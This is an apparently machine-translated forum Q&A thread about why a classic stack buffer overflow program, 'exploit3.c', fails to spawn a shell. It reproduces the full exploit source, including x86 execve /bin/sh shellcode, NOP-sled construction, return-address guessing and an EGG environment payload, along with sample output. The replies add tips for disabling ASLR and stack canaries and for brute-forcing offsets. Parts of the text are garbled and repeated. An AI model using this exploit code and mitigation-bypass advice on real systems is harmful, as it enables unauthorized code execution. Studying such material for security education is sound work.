我想使用C外壳代码使缓冲区溢出并执行bin/sh
我试图使缓冲区溢出并运行外壳代码来执行bin/sh 缓冲区大小的一个好选择是比我们试图溢出的缓冲区大小多100字节。这将把我们的代码放在我们试图溢出的缓冲区的末尾,为NOP提供大量空间,但仍然用我们猜测的地址覆盖返回地址。我们试图溢出的缓冲区长度为512字节,因此我们将使用612 第3.c条我想使用C外壳代码使缓冲区溢出并执行bin/sh,c,linux,x86,buffer-overflow,shellcode,C,Linux,X86,Buffer Overflow,Shellcode,我试图使缓冲区溢出并运行外壳代码来执行bin/sh 缓冲区大小的一个好选择是比我们试图溢出的缓冲区大小多100字节。这将把我们的代码放在我们试图溢出的缓冲区的末尾,为NOP提供大量空间,但仍然用我们猜测的地址覆盖返回地址。我们试图溢出的缓冲区长度为512字节,因此我们将使用612 第3.c条 #include <stdlib.h> #include <stdio.h> #include <string.h> #define DEFAULT_OFFSET
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1)
bsize = atoi(argv[1]);
if (argc > 2)
offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%lx\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
for (i = 0; i < bsize/2; i++)
buff[i] = NOP;
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff); system("/bin/bash");
}
预期产出为:
[aleph1]$ ./exploit3 612
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
$ exit
[aleph1]$
有什么不对劲吗强>
第二个问题:为什么剥削3.c在最后运行系统(“/bin/bash”)
main()?
exploit3
在最后运行一个shell,因为它在这里
memcpy(buff,"EGG=",4);
putenv(buff);
使用数据创建一个环境变量,该变量将溢出缓冲区,在该shell中有效:
system("/bin/bash");
如果程序只是结束,则环境变量“丢失”,因为它没有神奇地传递给调用进程
至于溢出不起作用的原因:这很难说,因为环境可能差别很大。您可以检查以下内容:
- 外壳代码是32位的,请确保您的环境也是32位的
- 确保操作系统的地址空间随机化未处于活动状态(
)/proc/sys/kernel/randomize\u va\u space
- 使用在
末尾带有断点的调试器(就在执行main()
之前)并检查外壳代码现在的位置。堆栈上的返回地址真的被正确的值覆盖了吗ret
为了使事情更加复杂,现代版本的编译器默认插入堆栈金丝雀。如果您不熟悉金丝雀,请阅读此博客()。要禁用金丝雀,请使用gcc/clangi的“-fno stack protector”选项思考612(缓冲区大小)中的错误如何检测正确的缓冲区大小和偏移量
[aleph1]$。/exploit3 612
?????@Ctx如何检测正确的缓冲区大小和偏移量[aleph1]美元/利用率3 612????一种方法是以4字节的步骤强制执行它,直到它工作为止。另一点是我提到的最后一点。在main函数返回之前分析内存布局。第三种方法是反汇编编译后的程序,并确定与那里的指令的正确大小和偏移量。如果需要,请在问题中提供主函数的反汇编程序转储。@Ctx现在,我在问题中提供主函数的反汇编程序转储。请不要破坏您的帖子。
[aleph1]$ ./exploit3 612
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
$ exit
[aleph1]$
memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");